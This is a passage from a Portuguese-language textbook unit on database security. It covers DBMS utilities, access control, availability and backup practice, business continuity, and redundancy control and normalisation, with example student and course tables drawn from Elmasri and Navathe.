criassem outros tipos de aplicações usando sua própria estrutura especializada
de arquivo e dados. Segundo Elmasri e Navathe (2011, p. 16), “[...] os sistemas de
banco de dados agora oferecem extensões para dar melhor suporte às necessidades
especializadas para algumas dessas aplicações”, sendo elas:
• Aplicações científicas, que armazenam grande quantidade de
dados resultantes de experimentos científicos em áreas como a física
de alta energia, o mapeamento do genoma humano e a descoberta
de estruturas de proteínas.
• Armazenamento e recuperação de imagens, incluindo notícias
escaneadas e fotografias pessoais, imagens fotográficas de satélite e
imagens de procedimentos médicos, como raios X e IRMs (imagens
por ressonância magnética).
• Armazenamento e recuperação de vídeos, como filmes, e clipes de
vídeo de notícias ou de câmeras digitais pessoais.
• Aplicações de mineração de dados (ou data mining), que analisam
grande quantidade de dados procurando as ocorrências de
padrões ou relacionamentos específicos, e identificação de padrões
incomuns em áreas como uso de cartão de crédito.
• Aplicações espaciais, que armazenam a localização espacial de
dados, como informações de clima, mapas usados em sistemas de
informações geográficas e em sistemas de navegação de automóveis.
• Aplicações de série temporais, que armazenam informações
como dados econômicos em pontos regulares no tempo, como
vendas diárias e valores mensais do Produto Interno Bruto (PIB)
(ELMASRI; NAVATHE, 2011, p. 16).

Ao pensar sobre as dimensões que um banco de dados pode atingir, vale


a pena observar o exemplo do BD da Amazon.com.

124
TÓPICO 1 — CARACTERÍSTICAS DE UM BANCO DE DADOS

NTE
INTERESSA

Um exemplo de um grande BD comercial é a Amazon.com, que contém dados


de mais de 20 milhões de livros, CDs, vídeos, DVDs, jogos, eletrônicos, roupas e outros
itens. O BD ocupa mais de 2 terabytes (TB – sendo que um terabyte equivale a 1012 bytes
de armazenamento) e está armazenado em 200 computadores diferentes (denominados
servidores). Cerca de 15 milhões de visitantes acessam a Amazon.com todos os dias e
utilizam o BD para fazer compras. Esse banco é continuamente atualizado à medida que
novos livros e outros itens são acrescentados e as quantidades em estoque são atualizadas
conforme as compras são realizadas. Cerca de 100 pessoas são responsáveis por manter o
BD da Amazon atualizado (ELMASRI; NAVATHE, 2011, p. 3).

As características para a segurança em geral dos BD consideram todo o


conjunto de informações visto anteriormente – os princípios de segurança, como
disponibilidade, integridade, confidencialidade, autenticidade e não repúdio –, além
dos aspectos de segurança física, lógica, de rede e na segurança no armazenamento.

No entanto, é importante ressaltar que a segurança não se limita a


essas características, pois, dependendo da necessidade, poderão existir tipos
diferenciados de monitoração, acessibilidade, tratamentos diferenciados nos
dados armazenados, diferenciação nos tipos de compactação, entre outros.
Segundo Elmasri e Navathe (2011, p. 28-29):
[...] a maioria dos SGBDs possui utilitários de banco de dados que
ajudam o DBA a gerenciar o sistema. Os utilitários têm, basicamente,
os seguintes tipos de funções:
• Carga. Um utilitário de carga é usado para carregar os arquivos de
dados existentes – como arquivos de texto ou arquivos sequenciais
– no banco de dados. Normalmente o formato atual do arquivo
de dado (origem) e a estrutura do arquivo do banco de dados
desejado (destino) são especificados pelo utilitário que reformata
automaticamente os dados e os armazena no banco de dados. Com
a proliferação de SGBDs, a transferência de dados de um SGBD para
outro está se tornando comum em muitas organizações. Alguns
fornecedores de SGBDs estão oferecendo produtos que geram os
programas de carga apropriados, tendo como base descrições de
armazenamento de banco de dados de origem e destino (esquemas
internos). Essas ferramentas também são chamadas de ferramentas
de conversão. Para o SGBD hierárquico chamado IMS (da IBM)
e para muitos SGBDs de rede, incluindo o IDMS (da Computer
Associates), SUPRA (da Cincom) e Image (da HP), os fornecedores
ou empresas de terceiros estão disponibilizando uma série de
ferramentas de conversão (por exemplo, o SUPRA Server SQL da
Cincom) para transformar os dados para o modelo relacional.
• Backup. Um utilitário de backup cria uma cópia de segurança do
banco de dados, normalmente copiando o banco de dados inteiro
para fita ou outro meio de armazenamento em massa. A cópia
backup pode ser usada para restaurar o banco de dados no caso de
uma falha catastrófica no disco. Os backups incrementais também

125
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

costumam ser utilizados, e registram apenas as mudanças ocorridas


após o backup anterior. O backup incremental é mais complexo,
mas economiza espaço de armazenamento.
• Reorganização do armazenamento do banco de dados. Esse utilitário
pode ser usado para reorganizar um conjunto de arquivos do banco
de dados em diferentes organizações de arquivo, e cria novos
caminhos de acesso para melhorar o desempenho.
• Monitoração de desempenho. Esse utilitário monitora o uso
do banco de dados e oferece estatísticas ao DBA. O DBA usa as
estatísticas para tomar decisões se deve ou não reorganizar arquivos
ou se deve incluir ou remover índices para melhorar o desempenho.

Outro aspecto de um SGBD que atenda a um sistema multiusuário é


que ele precisa permitir mecanismos possam gerenciar os acessos ao sistema,
em todos os seus níveis. Por exemplo, informações confidenciais ou sigilosas,
como valores dos salários dos funcionários, análises de desempenho, atestados
médicos, são sensíveis e requerem controles de acesso aos usuários do sistema de
BD (ELMASRI; NAVATHE, 2011).

Segundo Elmasri e Navathe (2011, p. 563):


um SGBD normalmente inclui um subsistema de segurança e
autorização do banco de dados que é responsável por garantir
a segurança de partes de um banco de dados contra acesso não
autorizado. Agora, é comum referir-se a dois tipos de mecanismos de
segurança de banco de dados:
• Mecanismos de segurança discricionários. Estes são usados para
conceder privilégios aos usuários, incluindo a capacidade de acessar
arquivos de dados, registros ou campos específicos em um modo
especificado (como leitura, inserção, exclusão ou atualização).
• Mecanismos de segurança obrigatórios. Estes são usados para impor
a segurança multinível pela classificação de dados e usuários em
várias classes (ou níveis) de segurança e, depois, pela implementação
da política de segurança apropriada da organização. Por exemplo,
uma política de segurança típica é permitir que os usuários em certo
nível de classificação (ou liberação) vejam apenas os itens de dados
classificados no próprio nível de classificação (ou inferior) do usuário.
Uma extensão disso é a segurança baseada em papéis, que impõe
políticas e privilégios com base no conceito de papéis organizacionais.

Segundo Elmasri e Navathe (2011, p. 563), existem “[...] quatro medidas


de controle principais que são usadas para fornecer segurança nos bancos de
dados: controle de acesso, controle de inferência, controle de fluxo e criptografia
de dados”.

Dessa forma, características que contribuam com a segurança em BD, como


formato de backup, armazenamento dos dados, mecanismos de autenticação,
além da sua aplicação e utilização efetiva, dependerão dos objetivos a serem
atingidos por determinado software ou aplicação. Outro exemplo que envolve
segurança é o aumento da utilização de criptografia nos processos que envolvem
tráfego de dados pela web e seu armazenamento.

126
TÓPICO 1 — CARACTERÍSTICAS DE UM BANCO DE DADOS

Os avanços na tecnologia de criptografia tornam mais seguro


transferir dados confidenciais em formato codificado do servidor ao
cliente, onde será decodificado. Isso pode ser feito pelo hardware
ou por um software avançado. Essa tecnologia oferece níveis mais
altos de segurança de dados, mas as questões de segurança da rede
continuam sendo uma preocupação constante. Diversas tecnologias
de compactação de dados também ajudam a transferir grande
quantidade de dados dos servidores aos clientes por redes com e sem
fio (ELMASRI; NAVATHE, 2011, p. 28-29).

Segurança pode ser obtida com os aspectos externos envolvendo o


banco de dados, como forma de acesso e privilégios, mas também segurança em
relação a suas tabelas e forma de armazenamento dos dados, como criptografia
envolvendo triggers e views.

TUROS
ESTUDOS FU

No Tópico 2, conheceremos mais detalhes sobre criptografia em BD e


criptografia envolvendo triggers e views.

2 DISPONIBILIDADE E BACKUP
Conforme verificamos anteriormente, a segurança da informação é
composta por princípios como disponibilidade, integridade, confidencialidade,
autenticidade e não repúdio. Desse modo, conheceremos mais detalhes sobre a
disponibilidade, a qual está relacionada com o fato de as informações estarem
disponíveis sempre que forem solicitadas por um processo ou usuário.

Segundo Nakamura (2016, p. 12):


A disponibilidade possui uma característica interessante com relação
às outras, que está relacionada à sua percepção. Diferentemente
da dificuldade que é perceber quando a confidencialidade ou a
autenticidade é comprometida, a disponibilidade é logo notada
quando há um incidente de segurança. Nos outros casos, o incidente
de segurança só é percebido normalmente quando a empresa perde
clientes ou quando é passada para trás pela concorrência.
[...] Já no caso da disponibilidade, o efeito é imediato, pois a informação
não pode mais ser acessada quando há um incidente de segurança.

Baars et al. (2018, p. 36, grifo nosso) indicam que a disponibilidade possui
algumas características: “Oportunidade: a informação está disponível quando
necessário; Continuidade: a equipe consegue continuar trabalhando no caso de
falha; e Robustez: existe capacidade suficiente para permitir que toda a equipe
trabalhe no sistema”, citando como exemplo “[...] tanto uma falha de disco como

127
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

um ataque de negação de serviço causam violação da disponibilidade. Qualquer


atraso que exceda o nível de serviço esperado para um sistema pode ser descrito
como uma violação da disponibilidade” (BAARS et al., 2018, p. 36).
A disponibilidade do sistema pode ser afetada pela falha de um
dispositivo ou software. Dispositivos de backup devem ser utilizados
para substituir rapidamente os sistemas críticos, e funcionários devem
ser qualificados e estar disponíveis para fazer os ajustes necessários
para restaurar o sistema. Questões ambientais como calor, frio,
umidade, eletricidade estática e contaminantes também podem afetar
a disponibilidade do sistema. Sistemas devem ser protegidos contra
esses elementos, devidamente aterrados e monitorados de perto
(BAARS et al., 2018, p. 36).

Um sistema ou banco de dados pode ficar indisponível, conforme


Nakamura (2016, p. 12), “[...] ataques clássicos que comprometem a disponibilidade
são a negação de serviço, com o DoS (Denial of Service) e o DDoS (Distributed
Denial of Service)”, pois “[...] nesses ataques, que podem ocorrer com a aplicação
de diversas técnicas, que vão desde o nível de rede quanto o nível de aplicação,
os serviços se tornam indisponíveis, com o comprometimento do acesso à
informação” (NAKAMURA, 2016, p. 12-13).

O cuidado com as informações e dados em BD deve ser considerado com


seriedade para se evitar roubo de informações.

NTE
INTERESSA

A segurança nunca esteve tão em alta, quando relacionado à exposição


de dados em redes. Um exemplo disso é uma matéria que descreveu que o dfndr lab,
laboratório de cibersegurança da PSafe, identificou, em janeiro de 2021, um provável
vazamento de dados de mais de 220 milhões de pessoas. Tal banco de dados vazado reúne
nome completo, data de nascimento e CPF de potencialmente quase todos brasileiros,
incluindo até mesmo grandes autoridades do país.
Leia mais sobre esse acontecimento em: https://bit.ly/37R1TbJ.

Para Baars et al. (2018, p. 36), “[...] para se proteger desses ataques, apenas
os serviços e portas necessárias devem estar disponíveis nos sistemas, e sistemas
de detecção de intrusão (Intrusion Detection Systems – IDS) devem monitorar o
tráfego da rede e a atividade das máquinas”. É válido mencionar também que “[...]
certas configurações de roteadores e firewalls também podem reduzir a ameaça de
ataques DoS e possivelmente impedi-los de acontecer” (BAARS et al., 2018, p. 36).

Conforme Reynolds e Stair (2015, p. 210), “[...] como as empresas de hoje


têm muitos elementos, eles devem ser organizados em dados para que possam
ser utilizados mais efetivamente. O BD deve ser projetado para guardar todos

128
TÓPICO 1 — CARACTERÍSTICAS DE UM BANCO DE DADOS

os dados relevantes para o negócio, proporcionar rápido acesso e qualquer


modificação facilmente”. Dessa forma, ao construir um BD, alguns pontos devem
ser considerados, como:
• Conteúdo. Quais dados devem ser coletados e a que preço?
• Acesso. Que dados devem ser fornecidos para quais clientes e
quando?
• Estrutura lógica. Como os dados devem ser organizados para que
façam sentido para determinado cliente?
• Organização física. Onde os dados devem ficar localizados
fisicamente? (REYNOLDS; STAIR, 2015, p. 210).

A partir desse levantamento, poderão ser realizados mapeamentos e


identificações das ameaças e vulnerabilidades, incluindo o planejamento em
relação aos recursos necessários que serão utilizados para prover a segurança,
física, lógica, de redes e de armazenamento.

Segundo Baars et al. (2018, p. 36):


Exemplos de medidas de disponibilidade incluem:
• A gestão (e o armazenamento) de dados é tal que o risco de perder
informações seja mínimo.
• O dado é, por exemplo, armazenado em um disco de rede, e não no
disco rígido do PC.
• Os procedimentos de backup são estabelecidos. Os requisitos legais
de quanto tempo os dados devem ser armazenados são levados em
conta. A localização do backup é separada fisicamente do negócio,
a fim de garantir a disponibilidade nos casos de emergência.
• Os requisitos legais sobre quanto tempo os dados devem ser
mantidos armazenados variam de país para país na União Europeia,
nos EUA e em outros lugares. É importante checar as agências
reguladoras individuais do governo para requisitos específicos.
Procedimentos de emergência são estabelecidos para garantir que as
atividades possam ser recuperadas o mais breve possível após uma
interrupção de grande escala.

Sistemas estão em todo lugar e gerenciam tudo na vida diária, conforme


Elmasri e Navathe (2011, p. 17), “[...] a tecnologia de banco de dados se aplica
a dados estruturados e formatados, que surgem em aplicações de rotina no
governo, no comércio e na indústria”. Os autores ainda mencionam que “[...] ela
é bastante utilizada nos setores de manufatura, varejo, bancos, seguros, finanças
e saúde, onde dados estruturados são coletados por meio de formulários, como
faturas ou documentos de registro de paciente”.

Dessa maneira, por se tão importante e essencial ao cotidiano, a segurança


deve ser levada a sério pelas empresas e organizações, a fim de assegurarem a
disponibilidade das suas informações e sistemas, em quaisquer situações que
venha a ocorrer, seja por meio de falha técnica de algum equipamento ou ainda
de falha operacional por parte de seus colaboradores.

129
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

Laudon e Laudon (2014, p. 279) afirmam que “[...] à medida que a receita
e as operações dependem cada vez mais de redes digitais, as empresas precisam
tomar medidas adicionais para assegurar que seus sistemas e aplicativos estejam
sempre disponíveis”.
Instituições financeiras, companhias aéreas e outras empresas cujas
aplicações críticas requerem processamento de transação on-line há
muitos anos usam sistemas de informação tolerantes a falhas, para
garantir 100% de disponibilidade. No processamento de transação on-
line, as transações solicitadas on-line são imediatamente processadas
pelo computador. A cada instante ocorrem alterações nos bancos de
dados, relatórios ou requisições.
Os sistemas de computação tolerantes a falhas incluem componentes
redundantes de hardware, software e fornecimento de energia elétrica,
criando um ambiente que oferece serviço contínuo ininterrupto.
Computadores tolerantes a falhas usam rotinas de software especial
ou lógica de autoverificação embutidos em seu circuito para detectar
falhas de hardware e automaticamente alternar para um dispositivo
backup. As peças desses computadores podem ser removidas e
consertadas sem interrupção do funcionamento do computador ou
downtime. Downtime refere-se a períodos em que um sistema não
está operante (LAUDON; LAUDON, 2014, p. 279-280).

Tudo o que verificamos até o momento é relacionado à disponibilidade de


sistemas e informações mediante aos cenários de incertezas que podem surgir.
Entretanto, disponibilidade é associada também ao recurso de backup. Também
precisamos mencionar que, a partir de uma situação inesperada, seja por falha
de equipamento técnico ou falha operacional, o backup é extremante importante.

Como exemplo, em uma situação hipotética, o responsável pela


infraestrutura de uma grande empresa que presta serviços na área de
monitoramento/rastreamento de veículos se depara com uma pane elétrica e o
servidor principal, que contém o sistema com os dados dos monitorados, não
permite mais acesso. Contudo, ele pode estar tranquilo porque tem um backup
de todos esses dados importantes e rapidamente disponibilizar um servidor
paliativo ou estar desesperado porque perdeu as informações. São momentos de
grande tensão como esse que um backup, junto ao planejamento para riscos e
incontingências, faz toda diferença.

A empresa precisa se organizar em relação à segurança e dispor de planos


que permitam a rápida retomada dos sistemas e informações. Esses planos “[...]
concentram-se primordialmente em questões técnicas relacionadas à preservação
do funcionamento dos sistemas, tais como os arquivos que devem ter backup e
a manutenção de sistemas de computador reservas (backup) ou de serviços de
recuperação de desastres” (LAUDON; LAUDON, 2014, p. 273).

O plano de continuidade dos negócios “[...] concentra-se em como a


empresa pode restaurar suas operações após um desastre. O plano de continuidade
de negócios identifica os processos de negócios críticos e determina planos de
ação para lidar com funções essenciais caso os sistemas saiam do ar” (LAUDON;
LAUDON, 2014, p. 274).

130
TÓPICO 1 — CARACTERÍSTICAS DE UM BANCO DE DADOS

Entretanto, muitas empresas, infelizmente, só percebem a importância do


backup quando passam por uma situação inesperada, ou seja, quando os dados já
foram perdidos ou comprometidos e não se pode fazer mais nada para recuperá-
los. A Cartilha de Segurança para Internet (COMITÊ GESTOR DA INTERNET NO
BRASIL, 2012, p. 52) apresenta como essenciais:
• Proteção de dados: você pode preservar seus dados para que sejam
recuperados em situações como falha de disco rígido, atualização
mal-sucedida do sistema operacional, exclusão ou substituição
acidental de arquivos, ação de códigos maliciosos/atacantes e furto/
perda de dispositivos.
• Recuperação de versões: você pode recuperar uma versão antiga
de um arquivo alterado, como uma parte excluída de um texto
editado ou a imagem original de uma foto manipulada.
• Arquivamento: você pode copiar ou mover dados que deseja ou
que precisa guardar, mas que não são necessários no seu dia a dia e
que raramente são alterados.

De forma a complementar, uma lista de cuidados importantes deve ser


verificada em relação aos backups e quando forem utilizados os serviços de
backup on-line:
• mantenha seus backups atualizados, de acordo com a frequência de
alteração dos dados;
• mantenha seus backups em locais seguros, bem condicionados
(longe de poeira, muito calor ou umidade) e com acesso restrito
(apenas de pessoas autorizadas);
• configure para que seus backups sejam realizados automaticamente
e certifique-se de que eles estejam realmente sendo feitos (backups
manuais estão mais propensos a erros e esquecimento);
• além dos backups periódicos, sempre faça backups antes de efetuar
grandes alterações no sistema (adição de hardware, atualização do
sistema operacional etc.) e de enviar o computador para manutenção;
• armazene dados sensíveis em formato criptografado;
• mantenha backups redundantes, ou seja, várias cópias, para evitar
perder seus dados em um incêndio, inundação, furto ou pelo uso de
mídias defeituosas (você pode escolher pelo menos duas das seguintes
possibilidades: sua casa, seu escritório e um repositório remoto);
• cuidado com mídias obsoletas;
• assegure-se de conseguir recuperar seus backups (a realização de
testes periódicos pode evitar a péssima surpresa de descobrir que
os dados estão corrompidos, em formato obsoleto ou que você não
possui mais o programa de recuperação);
• mantenha seus backups organizados e identificados (você pode
etiquetá-los ou nomeá-los com informações que facilitem a
localização, como tipo do dado armazenado e data de gravação);
• copie dados que você considere importantes e evite aqueles que
podem ser obtidos de fontes externas confiáveis, como os referentes
ao sistema operacional ou aos programas instalados;
• nunca recupere um backup se desconfiar que ele contém dados não
confiáveis.
• observe a disponibilidade do serviço e procure escolher um com
poucas interrupções (alta disponibilidade);
• observe o tempo estimado de transmissão de dados (tanto para
realização do backup quanto para recuperação dos dados).
Dependendo da banda disponível e da quantidade de dados a ser
copiada (ou recuperada), o backup online pode se tornar impraticável;

131
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

• seja seletivo ao escolher o serviço. Observe critérios como suporte,


tempo no mercado (há quanto tempo o serviço é oferecido), a opinião
dos demais usuários e outras referências que você possa ter;
• leve em consideração o tempo que seus arquivos são mantidos, o
espaço de armazenagem e a política de privacidade e de segurança;
• procure aqueles nos quais seus dados trafeguem pela rede de
forma criptografada (caso não haja esta possibilidade, procure
você mesmo criptografar os dados antes de enviá-los) (COMITÊ
GESTOR DA INTERNET NO BRASIL, 2012, p. 52-53).

Segundo Baars et al. (2018, p. 114), “[...] o propósito de fazer backups, ou


cópias reservas, é manter a integridade e a disponibilidade da informação e das
instalações computacionais. As consequências da perda de informação dependem
da idade da informação que pode ser recuperada a partir do backup”.

Então, além de realização de backup, é importante considerar o intervalo


em que os backups são realizados. Para ajudar nessa validação, Baars et al. (2018)
elenca alguns questionamentos:
Quanto tempo podemos nos permitir para recuperar novamente a
informação que foi perdida? É importante que o backup seja testado
regularmente. Além de realmente fazer e testar os backups, também
é necessário considerar como os backups são manejados. Os backups
são retirados de prédios altamente seguros e depois colocados em
armários destrancados? Ou os backups são colocados próximos ao
servidor com os dados originais? Os backups vão para terceiros?
Os dados são criptografados? Por quanto tempo os backups são
armazenados? Isso atende aos requisitos legais de armazenamento?
(BAARS et al., 2018, p. 114).

Oliveira e Piva (2010, p. 124) informam que “[...] a partir de uma estratégia
adequada de backup e restore, um plano de manutenção define uma série de
tarefas que devem ser executadas no banco de dados para garantir o seu bom
funcionamento e desempenho, bem como a disponibilidade das informações”.
Ainda complementam que “[...] no plano de manutenção podemos prever tanto
tarefas de backup para evitar a perda de informações, quanto de verificação da
integridade dos objetos do banco de dados” (OLIVEIRA; PIVA, 2010, p. 124).

DICAS

É possível criar um plano de manutenção manualmente, mas a maneira mais


fácil e prática é fazê-lo é por meio do assistente Maintenance Plan Wizard (em português
“plano de manutenção assistente”). Esse programa é capaz de criar e agendar a execução
periódica de vários jobs. Cada job realizará uma determinada tarefa que definirmos
(OLIVEIRA; PIVA, 2010, p. 124).

132
TÓPICO 1 — CARACTERÍSTICAS DE UM BANCO DE DADOS

A partir do que foi verificado até o momento, podemos afirmar que a


segurança em banco de dados tem relação direta com os tipos de tecnologias
usadas para a estruturação desse banco e sistemas. Conforme for essa tecnologia e
utilitários, é possível fornecer mais recursos relacionados com a segurança. Adotar
estratégias de backups e plano de continuidade de negócios é essencial para a
empresa continuar com seu funcionamento e não ter impactos na disponibilidade
de sistemas ou informações.

3 CONTROLE DE REDUNDÂNCIA
Um BD, além de ser um recurso de armazenamento, precisa ter dados
corretamente armazenados. O desempenho de um BD está relacionado com a sua
tecnologia de desenvolvimento e, principalmente, como foram construídos suas
tabelas e seus relacionamentos.

Segundo Macêdo (2011, s.p.), a redundância:


consiste no armazenamento de uma mesma informação em locais
diferentes, provocando inconsistências. Em um Banco de Dados
as informações só se encontram armazenadas em um único local,
não existindo duplicação descontrolada dos dados. Quando
existem replicações dos dados, estas são decorrentes do processo de
armazenagem típica do ambiente Cliente-Servidor, totalmente sob
controle do Banco de Dados.

Conforme Reynolds e Stair (2015, p. 215), “[...] uma das principais


vantagens de um banco de dados relacional é que ele permite que as tabelas
sejam vinculadas. Essa vinculação reduz a redundância de dados e permite que
os dados sejam organizados logicamente”.

Segundo Cayres (2015, p. 1):


Juntamente com a chegada dos computadores, começaram a ser criados
sistemas para atender as necessidades de processamento crescente
do volume de dados das empresas. Nessa época, a manipulação de
informações era implementada através de módulos isolados que
atendiam uma determinada necessidade e que, com o passar do tempo,
foram sendo incrementados com novos módulos sobre os já existentes.
O problema é que, muitas vezes, os novos módulos eram escritos por
outros programadores, que por sua vez não utilizavam as mesmas
linguagens. Mais do que isso, os sistemas eram ainda muito primitivos,
trabalhando com os sistemas de arquivos disponíveis na época, os quais
não controlavam o acesso concorrente por vários usuários ou processos.
Com todas essas divergências aconteciam diversos problemas.

De forma complementar, Laudon e Laudon (2014, p. 187) informam que,


para as empresas, independentemente de seu tamanho, o que importa “[...] é ter
um bom modelo de dados, que abranja todas as suas entidades e o relacionamento
entre elas, e esteja organizado para minimizar a redundância, maximizar a
precisão e deixar os dados facilmente acessíveis a relatórios e análises”.

133
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

O importante é que os dados sejam armazenados com qualidade.

E
IMPORTANT

Por que é importante para a empresa garantir a qualidade dos dados?


Dados inexatos, incompletos ou inconsistentes criam sérios problemas financeiros e
operacionais para as empresas, porque dados inexatos, incompletos podem conduzi-las
a decisões errôneas sobre as ações que devem tomar. Assegurar a qualidade dos dados
envolve o uso de padrões válidos para toda a empresa, bancos projetados para minimizar
a inconsistência e a redundância, auditorias de qualidade, e software de limpeza e
padronização (LAUDON; LAUDON, 2014, p. 206).

Desse modo, os BD foram constituídos e evoluindo, sendo que seus


principais desafios eram: gerenciamento de grande quantidade de informação,
evitar redundância e inconsistência de dados, garantia de integridade e permitir
facilidade de acesso. Além de segurança de dados e informações, facilidade de
migração, ou seja, garantir uma possível transferência de dados entre Banco de
dados (CAYRES, 2015).

Mais especificamente sobre evitar redundância e a inconsistência de


dados, Cayres (2015, p. 2) afirma que “[...] um sistema de banco de dados teria
de ter a capacidade de reduzir ao máximo, ou mesmo eliminar, a redundância
da informação em lugares diferentes, muito comum nos Sistemas de Arquivos
existentes até então”, também observando que “[...] um dos problemas da
redundância é que podemos atualizar um determinado dado de um arquivo e
essa atualização não ser feita em todo o sistema – esse problema é chamado de
inconsistência” (CAYRES, 2015, p. 2).

Assim, com a utilização de um Sistema de Gerenciamento de Banco de


Dados (SGBD), os processos de segurança e controles de redundância, além dos
demais citados anteriormente, são atingíveis. Como conceito de SGBD, temos:
um software que incorpora e facilita as funções de definição,
recuperação e alteração de dados em um Banco de Dados. Tem a função
de proteção (contra falhas de hardware e software) e de segurança
(acessos não autorizados ou maliciosos) dos dados nele armazenados,
ao mesmo tempo em que permite o compartilhamento desses dados
entre vários usuários e aplicações (CAYRES, 2015, p. 3).

Segundo Elmasri e Navathe (2011, p. 11), “[...] no desenvolvimento de


software tradicional, utilizando processamento de arquivo, cada grupo de usuários
mantém os próprios arquivos para tratamento de suas aplicações de processamento
de dados”. Para entendermos melhor, a Tabela 1 mostra um exemplo de estrutura
de tabelas de um banco de dados.

134
TÓPICO 1 — CARACTERÍSTICAS DE UM BANCO DE DADOS

TABELA 1 – EXEMPLO DE BANCO DE DADOS INFORMAÇÕES DE ALUNO E DISCIPLINA

ALUNO
Nome Numero_aluno Tipo_aluno Curso
Silva 17 1 CC
Braga 8 2 CC

DISCIPLINA

Nome_disciplina Numero_disciplina Créditos Departamento


Introd. À ciência da
CC1310 4 CC
computação
Estrutura de dados CC3320 4 CC
Matemática discreta MAT2410 3 MAT
Banco de Dados CC3380 3 CC

TURMA

Identificacao_turma Numero_disciplina Semestres Ano Professor


85 MAT2410 Segundo 07 Kleber
92 CC1310 Segundo 07 Anderson
102 CC3320 Primeiro 08 Carlos
112 MAT2410 Segundo 08 Chang
119 CC1310 Segundo 08 Anderson
135 CC3380 Segundo 08 Santos

HISTÓRICO ESCOLAR PRE_REQUISITO


Identificacao_ Numero_ Numero_pre_
Nome_aluno Nota
turma disciplina requisito
17 85 B CC3380 CC3320
17 92 C CC3380 MAT2410
8 102 A CC3320 CC1310
8 112 A 8 112
8 119 B 8 119
8 135 A 8 135
FONTE: Elmasri; Navathe (2011, p. 12)

Elmasri e Navathe (2011) explicam que, nesse exemplo, as tabelas


representam um sistema de informações, o qual armazena dados sobre os
acadêmicos e o controle de finanças. Ao observar as tabelas, podemos identificar
que algumas informações se repetem, como nome do aluno, e isso pode ocasionar

135
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

duplicidade de informações. O ideal é ter um armazenamento mais lógico, com


dados de identificação em apenas um local, e todas as demais tabelas usarem essa
informação já inserida.
Essa redundância causada ao armazenar os mesmos dados várias
vezes gera diversos problemas. Primeiro, é preciso realizar uma
única atualização lógica – como a entrada de dados sobre um novo
aluno – várias vezes: uma para cada arquivo onde o dado do aluno é
registrado. Isso ocasiona uma duplicação de esforço. Segundo, o espaço
de armazenamento é desperdiçado quando o mesmo dado é armazenado
repetidamente, e esse problema pode ser sério para grandes bancos
de dados. Terceiro, os arquivos que representam os mesmos dados
podem tornar-se inconsistentes. Isso porque uma atualização é aplicada
a alguns dos arquivos, mas não a outros. Mesmo que uma atualização
– como a inclusão de um novo aluno – seja aplicada a todos os arquivos
apropriados, os dados referentes ao aluno ainda podem ser inconsistentes
porque as atualizações são aplicadas de maneira independente pelos
grupos de usuários. Por exemplo, um grupo de usuários pode entrar com
a data de nascimento de um aluno incorretamente como “19/01/1988”,
enquanto outros grupos de usuários podem inserir o valor correto
“29/01/1988” (ELMASRI; NAVATHE, 2011, p. 11, grifo no original).

Então, o armazenamento correto dessa informação deve ser realizado


conforme Elmasri e Navathe (2011) apresentam na Tabela 2.

TABELA 2 – EXEMPLO DE DADO REDUNDANTE TABELA B

HISTORICO ESCOLAR

Numero_aluno Nome_aluno Identificacao_turma Numero_disciplina Nota


17 Silva 112 MAT2410 B
17 Silva 119 CC1310 C
8 Braga 85 MAT2410 A
8 Braga 92 CC1310 A
8 Braga 102 CC3320 B
8 Braga 135 CC3380 A

HISTORICO_ESCOLAR

Numero_aluno Nome_aluno Identificacao_turma Numero_disciplina Nota

17 Silva 112 MAT2410 B


FONTE: Elmasri; Navathe (2011, p. 12)

Assim, Elmasri e Navathe (2011) orientam que se pode armazenar o


“Nome_aluno” e o campo “Numero_disciplina” redundantemente em um arquivo
denominado “HISTORICO_ESCOLAR”, porque, ao querer verificar um histórico,
é importante que conste a identificação do aluno, da disciplina e sua nota, além de

136
TÓPICO 1 — CARACTERÍSTICAS DE UM BANCO DE DADOS

outros dados relevantes para a identificação da turma. “Colocando todos os dados


juntos, não precisamos pesquisar vários arquivos para coletar esses dados. Isso é
conhecido como desnormalização” (ELMASRI; NAVATHE, 2011, p. 11).
Nesses casos, o SGBD deve ter a capacidade de controlar essa
redundância a fim de proibir inconsistências entre os arquivos. Isso pode
ser feito verificando automaticamente se os valores de Nome_aluno--
Numero_aluno em qualquer registro de HISTORICO_ESCOLAR na
Tabela a) combinam com um dos valores de Nome-Numero_aluno
de um registro de ALUNO Tabela 1. De modo semelhante, os valores
de Identificacao_turma-Numero_disciplina de HISTORICO_
ESCOLAR podem ser verificados em registros de TURMA. Essas
verificações podem ser especificadas no SGBD durante o projeto
do banco de dados e impostas automaticamente pelo SGBD sempre
que o arquivo HISTORICO_ESCOLAR for atualizado. A Tabela 2
b) mostra um registro de HISTORICO_ESCOLAR incoerente com o
arquivo ALUNO na Tabela 1; esse tipo de erro pode ser inserido se a
redundância não for controlada (ELMASRI; NAVATHE, 2011, p. 11).

Como pode ser verificado no exemplo, é possível analisar e controlar a


redundância, tendo o mínimo possível de redundância quando se utiliza um
projeto conceitual de um banco de dados. Segundo Cayres (2015, p. 33), “[...] é
preciso buscar desmembrar as informações e distribuí-las em tabelas menores,
analisando as interdependências entre atributos individuais associados a cada
uma dessas tabelas”. Dessa maneira, o exemplo da Tabela 2 informa características
em relação ao processo de normalização.

Para entender um pouco mais sobre o que é a normalização, de acordo


com Cayres (2015, p. 34), trata-se do “[...] processo de normalização [que] pode
ser entendido como um conjunto de regras que visa minimizar as anomalias em
torno da modificação dos dados de modo que seja mais fácil manipular esses
dados (manutenção do sistema) sem gerar redundâncias ou inconsistências”.

Cayres (2015, p. 34) ainda apresenta alguns apontamentos em relação


a por que normalizar: “Para minimização de redundâncias e inconsistências,
facilidade de manipulações do banco de dados e facilidade de manutenção do
Sistema de Informações”.
Não custa lembrar que a normalização é aplicada em sistemas pré-
existentes (sejam eles já computadorizados ou não). Para sistemas
novos, um projeto bom e bem elaborado de um modelo conceitual
resultará em bancos de dados que já estão normalizados ou que
